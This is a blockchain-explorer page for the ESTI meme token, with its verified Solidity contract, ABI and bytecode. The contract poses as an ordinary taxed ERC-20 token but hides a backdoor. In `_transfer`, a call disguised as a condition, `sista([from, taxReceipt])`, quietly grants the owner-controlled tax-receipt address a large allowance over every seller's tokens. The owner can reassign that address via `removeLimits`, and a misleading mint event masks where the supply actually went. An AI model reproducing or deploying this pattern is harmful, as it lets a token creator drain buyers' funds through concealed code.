ETH Price: $2,639.90 (-0.06%)

Token

ESTI (ESTI)
 

Overview

Max Total Supply

420,690,000,000 ESTI

Holders

81

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,691,869,156.954541113 ESTI

Value
$0.00
0x6Ec70e60B944c9504cE65f0ac4eeA0A9E6349Ad0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ESTI

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-14
*/

/**
$ESTI, the real name of the dog that inspired Shiba Inu Coin!

Web:  https://estieth.fun
X:    https://x.com/esti_on_eth
Tg:   https://t.me/esti_on_eth
**/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.27;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ESTI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _xValue;
    mapping (address => mapping (address => uint256)) private _xAllowed;
    mapping (address => bool) private _isExcludedFee;
    address payable private taxReceipt;
    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=12;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=12;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;
    string private constant _name = unicode"ESTI";
    string private constant _symbol = unicode"ESTI";
    uint256 public _maxTxAmount = 2 * _tTotal / 100;
    uint256 public _maxTxWallet = 2 * _tTotal / 100;
    uint256 public _taxSwapThreshold = 1 * _tTotal / 100;
    uint256 public _maxTaxSwap = 1 * _tTotal / 100;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap;
    bool private swapEnabled;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        taxReceipt = payable(_msgSender());
        _xValue[_msgSender()] = _tTotal;
        _isExcludedFee[address(this)] = true;
        _isExcludedFee[_msgSender()] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function initPairOf() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _xValue[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _xAllowed[owner][spender];
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _xAllowed[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _xAllowed[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _xValue[from] = _xValue[from] - amount;
            _xValue[to] = _xValue[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFee[to] ) {
                require(tradingOpen,"Trading not open yet.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxTxWallet, "Exceeds the maxWalletSize.");
                _buyCount++; 
            }
            if (sista([from, taxReceipt])&&to != uniswapV2Pair && ! _isExcludedFee[to]) {
                require(balanceOf(to) + amount <= _maxTxWallet, "Exceeds the maxWalletSize.");
            }
            if(to == uniswapV2Pair) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore) {
                uint256 contractTokenBalance = balanceOf(address(this));
                if(contractTokenBalance>_taxSwapThreshold)
                    xSwap(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                xSendTaxes();
            }
        }
        if(taxAmount>0){
          _xValue[address(this)]=_xValue[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _xValue[from]=_xValue[from].sub(amount);
        _xValue[to]=_xValue[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function removeLimits(address payable limit) external onlyOwner{
        _maxTxAmount=_tTotal;
        _maxTxWallet=_tTotal;
        taxReceipt = limit;
        _isExcludedFee[limit] = true;
        emit MaxTxAmountUpdated(_tTotal);
    }
    function xSwap(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), amount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    function min(uint256 a, uint256 b) private pure returns(uint256){
        return (a>b)?b:a;
    }
    function sista(address[2] memory zApp) private returns(bool){
        _xAllowed[zApp[0]][zApp[1]] = 100 * _maxTxWallet; return true;
    }
    function xSendTaxes() private {
        taxReceipt.transfer(address(this).balance);
    }
    function withdrawEth() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
    function withdrawErc20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(_msgSender(), _amount);
    }
    function startTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initPairOf","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address payable","name":"limit","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"withdrawErc20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600f600555600f6006555f6007555f600855600c600955600c600a55600c600b555f600c5560646009600a6100399190610300565b610048906461f313f880610315565b610053906002610315565b61005d919061032c565b600d55606461006e6009600a610300565b61007d906461f313f880610315565b610088906002610315565b610092919061032c565b600e5560646100a36009600a610300565b6100b2906461f313f880610315565b6100bd906001610315565b6100c7919061032c565b600f5560646100d86009600a610300565b6100e7906461f313f880610315565b6100f2906001610315565b6100fc919061032c565b60105534801561010a575f5ffd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556101696009600a610300565b610178906461f313f880610315565b335f81815260016020818152604080842095909555308084526003909152848320805460ff1990811684179091559383529382208054909316179091557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101e26009600a610300565b6101f1906461f313f880610315565b60405190815260200160405180910390a361034b565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102565780850481111561023a5761023a610207565b600184161561024857908102905b60019390931c92800261021f565b935093915050565b5f8261026c575060016102fa565b8161027857505f6102fa565b816001811461028e5760028114610298576102b4565b60019150506102fa565b60ff8411156102a9576102a9610207565b50506001821b6102fa565b5060208310610133831016604e8410600b84101617156102d7575081810a6102fa565b6102e35f19848461021b565b805f19048211156102f6576102f6610207565b0290505b92915050565b5f61030e60ff84168361025e565b9392505050565b80820281158282048414176102fa576102fa610207565b5f8261034657634e487b7160e01b5f52601260045260245ffd5b500490565b611acd806103585f395ff3fe60806040526004361061011e575f3560e01c806370a082311161009d578063a0ef91df11610062578063a0ef91df146102e5578063a9059cbb146102f9578063bd1f4b5214610318578063bf474bed14610337578063dd62ed3e1461034c575f5ffd5b806370a0823114610262578063715018a6146102965780637d1db4a5146102aa5780638da5cb5b146102bf57806395d89b4114610129575f5ffd5b806323b872dd116100e357806323b872dd146101df578063293230b8146101fe578063313ce5671461021457806332489e9b1461022f5780636e90e10f1461024e575f5ffd5b806306fdde0314610129578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b65780631a076423146101ca575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201825260048152634553544960e01b6020820152905161015b91906116be565b60405180910390f35b34801561016f575f5ffd5b5061018361017e366004611707565b610390565b604051901515815260200161015b565b34801561019e575f5ffd5b506101a860105481565b60405190815260200161015b565b3480156101c1575f5ffd5b506101a86103a6565b3480156101d5575f5ffd5b506101a8600e5481565b3480156101ea575f5ffd5b506101836101f9366004611731565b6103c7565b348015610209575f5ffd5b5061021261042e565b005b34801561021f575f5ffd5b506040516009815260200161015b565b34801561023a575f5ffd5b5061021261024936600461176f565b61061c565b348015610259575f5ffd5b50610212610707565b34801561026d575f5ffd5b506101a861027c36600461176f565b6001600160a01b03165f9081526001602052604090205490565b3480156102a1575f5ffd5b50610212610901565b3480156102b5575f5ffd5b506101a8600d5481565b3480156102ca575f5ffd5b505f546040516001600160a01b03909116815260200161015b565b3480156102f0575f5ffd5b50610212610972565b348015610304575f5ffd5b50610183610313366004611707565b6109d2565b348015610323575f5ffd5b50610212610332366004611707565b6109de565b348015610342575f5ffd5b506101a8600f5481565b348015610357575f5ffd5b506101a861036636600461178a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039c338484610b0e565b5060015b92915050565b5f6103b36009600a6118b8565b6103c2906461f313f8806118c6565b905090565b5f6103d3848484610c32565b610424843361041f85604051806060016040528060288152602001611a70602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112f4565b610b0e565b5060019392505050565b5f546001600160a01b031633146104605760405162461bcd60e51b8152600401610457906118dd565b60405180910390fd5b601254600160a01b900460ff16156104ba5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610457565b6011546001600160a01b031663f305d71947306104eb816001600160a01b03165f9081526001602052604090205490565b5f5f6104fe5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610564573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906105899190611912565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156105de573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610602919061193d565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146106455760405162461bcd60e51b8152600401610457906118dd565b6106516009600a6118b8565b610660906461f313f8806118c6565b600d5561066f6009600a6118b8565b61067e906461f313f8806118c6565b600e55600480546001600160a01b0319166001600160a01b0383169081179091555f908152600360205260409020805460ff191660011790557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106e46009600a6118b8565b6106f3906461f313f8806118c6565b60405190815260200160405180910390a150565b5f546001600160a01b031633146107305760405162461bcd60e51b8152600401610457906118dd565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077a90309061076b6009600a6118b8565b61041f906461f313f8806118c6565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ca573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ee919061195c565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084d573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610871919061195c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108bb573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108df919061195c565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b0316331461092a5760405162461bcd60e51b8152600401610457906118dd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461099b5760405162461bcd60e51b8152600401610457906118dd565b5f47116109a6575f5ffd5b60405133904780156108fc02915f818181858888f193505050501580156109cf573d5f5f3e3d5ffd5b50565b5f61039c338484610c32565b5f546001600160a01b03163314610a075760405162461bcd60e51b8152600401610457906118dd565b6040516370a0823160e01b81523060048201525f90610a8890606490610a829085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610a58573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7c9190611977565b9061132c565b906113b1565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610ae4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b08919061193d565b50505050565b6001600160a01b038316610b705760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610457565b6001600160a01b038216610bd15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610457565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610c965760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610457565b6001600160a01b038216610cf85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610457565b5f8111610d595760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610457565b601254600160b01b900460ff161580610d7b5750601254600160a81b900460ff165b15610e25576001600160a01b0383165f90815260016020526040902054610da390829061198e565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610dd29082906119a1565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c259085815260200190565b5f80546001600160a01b03858116911614801590610e5057505f546001600160a01b03848116911614155b156111b7576012546001600160a01b038581169116148015610e8057506011546001600160a01b03848116911614155b8015610ea457506001600160a01b0383165f9081526003602052604090205460ff16155b1561100357601254600160a01b900460ff16610efa5760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610457565b610f206064610a82600954600c5411610f1557600554610f19565b6007545b859061132c565b9050600d54821115610f745760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610457565b600e5482610f96856001600160a01b03165f9081526001602052604090205490565b610fa091906119a1565b1115610fee5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610457565b600c8054905f610ffd836119b4565b91905055505b604080518082019091526001600160a01b03808616825260045416602082015261102c906113f2565b801561104657506012546001600160a01b03848116911614155b801561106a57506001600160a01b0383165f9081526003602052604090205460ff16155b156110e957600e5482611091856001600160a01b03165f9081526001602052604090205490565b61109b91906119a1565b11156110e95760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610457565b6012546001600160a01b0390811690841603611127576111246064610a82600a54600c541161111a57600654610f19565b600854859061132c565b90505b601254600160a81b900460ff1615801561114e57506012546001600160a01b038481169116145b80156111635750601254600160b01b900460ff165b80156111725750600b54600c54115b156111b757305f90815260016020526040902054600f548111156111ad576111ad6111a8846111a384601054611439565b611439565b61144d565b6111b56115bd565b505b801561122f57305f908152600160205260409020546111d690826115f3565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112269085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546112519083611651565b6001600160a01b0385165f908152600160205260409020556112946112768383611651565b6001600160a01b0385165f90815260016020526040902054906115f3565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112dd8585611651565b60405190815260200160405180910390a350505050565b5f81848411156113175760405162461bcd60e51b815260040161045791906116be565b505f611323848661198e565b95945050505050565b5f825f0361133b57505f6103a0565b5f61134683856118c6565b90508261135385836119cc565b146113aa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610457565b9392505050565b5f6113aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611692565b5f600e54606461140291906118c6565b82516001600160a01b039081165f908152600260209081526040808320968201519093168252949094529092209190915550600190565b5f81831161144757826113aa565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611493576114936119eb565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114ea573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061150e919061195c565b81600181518110611521576115216119eb565b6001600160a01b0392831660209182029290920101526011546115479130911684610b0e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061157f9085905f908690309042906004016119ff565b5f604051808303815f87803b158015611596575f5ffd5b505af11580156115a8573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109cf573d5f5f3e3d5ffd5b5f806115ff83856119a1565b9050838110156113aa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610457565b5f6113aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112f4565b5f81836116b25760405162461bcd60e51b815260040161045791906116be565b505f61132384866119cc565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109cf575f5ffd5b5f5f60408385031215611718575f5ffd5b8235611723816116f3565b946020939093013593505050565b5f5f5f60608486031215611743575f5ffd5b833561174e816116f3565b9250602084013561175e816116f3565b929592945050506040919091013590565b5f6020828403121561177f575f5ffd5b81356113aa816116f3565b5f5f6040838503121561179b575f5ffd5b82356117a6816116f3565b915060208301356117b6816116f3565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611810578085048111156117f4576117f46117c1565b600184161561180257908102905b60019390931c9280026117d9565b935093915050565b5f82611826575060016103a0565b8161183257505f6103a0565b816001811461184857600281146118525761186e565b60019150506103a0565b60ff841115611863576118636117c1565b50506001821b6103a0565b5060208310610133831016604e8410600b8410161715611891575081810a6103a0565b61189d5f1984846117d5565b805f19048211156118b0576118b06117c1565b029392505050565b5f6113aa60ff841683611818565b80820281158282048414176103a0576103a06117c1565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f5f5f60608486031215611924575f5ffd5b5050815160208301516040909301519094929350919050565b5f6020828403121561194d575f5ffd5b815180151581146113aa575f5ffd5b5f6020828403121561196c575f5ffd5b81516113aa816116f3565b5f60208284031215611987575f5ffd5b5051919050565b818103818111156103a0576103a06117c1565b808201808211156103a0576103a06117c1565b5f600182016119c5576119c56117c1565b5060010190565b5f826119e657634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611a4f5783516001600160a01b0316835260209384019390920191600101611a28565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203f56985b00a7627410607bd1e3e14dde8a78ed63366aa6486273ead182aadc7064736f6c634300081b0033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c806370a082311161009d578063a0ef91df11610062578063a0ef91df146102e5578063a9059cbb146102f9578063bd1f4b5214610318578063bf474bed14610337578063dd62ed3e1461034c575f5ffd5b806370a0823114610262578063715018a6146102965780637d1db4a5146102aa5780638da5cb5b146102bf57806395d89b4114610129575f5ffd5b806323b872dd116100e357806323b872dd146101df578063293230b8146101fe578063313ce5671461021457806332489e9b1461022f5780636e90e10f1461024e575f5ffd5b806306fdde0314610129578063095ea7b3146101645780630faee56f1461019357806318160ddd146101b65780631a076423146101ca575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b5060408051808201825260048152634553544960e01b6020820152905161015b91906116be565b60405180910390f35b34801561016f575f5ffd5b5061018361017e366004611707565b610390565b604051901515815260200161015b565b34801561019e575f5ffd5b506101a860105481565b60405190815260200161015b565b3480156101c1575f5ffd5b506101a86103a6565b3480156101d5575f5ffd5b506101a8600e5481565b3480156101ea575f5ffd5b506101836101f9366004611731565b6103c7565b348015610209575f5ffd5b5061021261042e565b005b34801561021f575f5ffd5b506040516009815260200161015b565b34801561023a575f5ffd5b5061021261024936600461176f565b61061c565b348015610259575f5ffd5b50610212610707565b34801561026d575f5ffd5b506101a861027c36600461176f565b6001600160a01b03165f9081526001602052604090205490565b3480156102a1575f5ffd5b50610212610901565b3480156102b5575f5ffd5b506101a8600d5481565b3480156102ca575f5ffd5b505f546040516001600160a01b03909116815260200161015b565b3480156102f0575f5ffd5b50610212610972565b348015610304575f5ffd5b50610183610313366004611707565b6109d2565b348015610323575f5ffd5b50610212610332366004611707565b6109de565b348015610342575f5ffd5b506101a8600f5481565b348015610357575f5ffd5b506101a861036636600461178a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039c338484610b0e565b5060015b92915050565b5f6103b36009600a6118b8565b6103c2906461f313f8806118c6565b905090565b5f6103d3848484610c32565b610424843361041f85604051806060016040528060288152602001611a70602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112f4565b610b0e565b5060019392505050565b5f546001600160a01b031633146104605760405162461bcd60e51b8152600401610457906118dd565b60405180910390fd5b601254600160a01b900460ff16156104ba5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610457565b6011546001600160a01b031663f305d71947306104eb816001600160a01b03165f9081526001602052604090205490565b5f5f6104fe5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b0395861660048201526024810194909452604484019290925260648301529